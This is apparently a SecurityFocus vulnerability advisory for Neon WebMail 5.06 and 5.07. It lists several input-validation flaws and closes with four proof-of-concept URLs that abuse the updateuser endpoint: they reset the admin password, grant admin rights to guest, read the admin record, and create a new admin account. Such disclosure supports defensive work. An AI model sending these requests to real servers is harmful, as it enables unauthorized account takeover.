source: http://www.securityfocus.com/bid/20109/info
    
Neon WebMail is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. These issues include:
    
- an arbitrary-file-upload vulnerability
- an arbitrary-email-manipulation vulnerability
- multiple SQL-injection vulnerabilities
- an unauthorized-access vulnerability
- multiple directory-traversal vulnerabilities
- an HTML-injection vulnerability. 
    
An attacker can exploit these issues to compromise the affected application.
    
Versions 5.06 and 5.07 (build.200607050) are vulnerable to these issue; prior versions may also be affected.

http://www.example.com/neonwebmail/updateuser?in_id=admin&in_pass=hacked&in_name=admin&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=update
http://www.example.com/neonwebmail/updateuser?in_id=guest&in_pass=guest&in_name=guest&in_admin=1&
in_showmailcount=20&in_usecss=1&in_autopoptime=5&in_poppop=1&in_replysign=&in_formwidth=80&exe=update
http://www.example.com/neonwebmail/updateuser?in_id=admin&exe=read
http://www.example.com/neonwebmail/updateuser?in_id=super&in_pass=super&in_name=super&in_admin=1&
in_showmailcount=10&in_usecss=1&in_autopoptime=5&in_replysign=&in_isquotation=1&in_formwidth=50&exe=insert